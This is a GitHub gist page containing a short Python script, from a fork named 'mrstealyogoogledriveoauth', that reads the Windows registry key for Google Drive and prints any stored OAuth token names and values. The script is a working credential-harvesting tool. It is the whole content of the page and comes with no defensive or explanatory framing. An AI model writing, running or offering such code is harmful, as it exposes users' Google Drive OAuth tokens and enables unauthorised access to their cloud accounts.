Forked from anonymous/mrstealyogoogledriveoauth.py
Last active
August 24, 2017 23:01
-
-
Save maxrp/71894abf334f00b2170f1a50bdad76e8 to your computer and use it in GitHub Desktop.
Retrieve google drive OAuth token from the Windows Registry
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from winreg import ConnectRegistry, OpenKey, EnumValue, HKEY_CURRENT_USER | |
TARGET_KEY = r'SOFTWARE\Google\Drive' | |
def main(): | |
with ConnectRegistry(None, HKEY_CURRENT_USER) as wr: | |
GdriveKey = OpenKey(wr, TARGET_KEY) | |
i = 0 | |
while True: | |
try: | |
k, v, _ = EnumValue(GdriveKey, i) | |
if 'OAuth' in k: | |
print("Found OAuth token:\n\tOAuth Private Key ID={}\n\tOAuth Key={}".format(k.split("_")[1], v)) | |
except: | |
break | |
else: | |
i += 1 | |
if __name__ == '__main__': | |
main() |
mharvey
commented
Aug 24, 2017
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment